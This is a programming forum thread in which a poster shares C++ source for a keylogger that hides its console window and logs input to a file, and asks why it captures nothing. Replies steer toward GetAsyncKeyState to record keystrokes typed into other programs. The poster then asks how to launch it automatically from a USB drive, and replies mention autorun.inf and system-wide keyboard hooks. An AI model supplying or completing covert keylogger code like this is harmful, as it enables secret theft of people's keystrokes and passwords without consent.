Hey all! So im trying to make a keylogger. So far this is what i came up with:
#include<iostream>
#include<windows.h>
#include<fstream>
#include<stdio.h>
using namespace std;
int main()
{ char ch;
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
fstream file;
file.open("getting.txt",ios::out|ios::app);
while(1)
{
cin.get(ch);
file<<ch;
}
file.close();
return 0;
}
But the problem is when i do type nothing gets entered in the file.
Please can anyone help?! I wanna do this for a school exhibition and its due in a week!! What should i change?
Because GetKeyState is based on your message queue, it also ignores keyboard input that was sent to another program. If the user switches to another program, any key presses that are sent to that program are ignored by GetKeyState. If you really want to know the immediate physical state of the keyboard, there is a function for that: GetAsyncKeyState. For most UI code, however, the correct function is GetKeyState.
Considering it is a keylogger you probably want GetAsyncKeyState
So the basic difference is that the getasynckeystate gets the character the moment that the key is pressed and it also is not depended where you are typing? I get that.
Is there a way by which I can run this by just plugging in my
Removable pen drive? (not for my school project just wanna know)
I am a bit skeptical about this keylogger now... Anyways I am not sure if you can 100% "auto run" on windows 7 since it has that popup menu when ever I put in my flash drive. Though you could try adding the "auotorun.inf" file. http://www.samlogic.net/articles/autorun-usb-flash-drive.htm
It would probably be a pretty big security risk if programs could automatically open up and run without any user interaction and would pretty much be a virus.
Hmmm thanks. I've been programming on and off for a year. I know the basics it's just that i want to get a feel for the language .
And no I'm not hacking. I'm making this project to show people how easily they can be hacked, that's all.
they can hook the whole system and can send your program system key strokes, mouse movements and lot more.
They are fun too.. so the system would send the key strokes to your program first and you can change them.. and the actual application which pressed the key will get something else..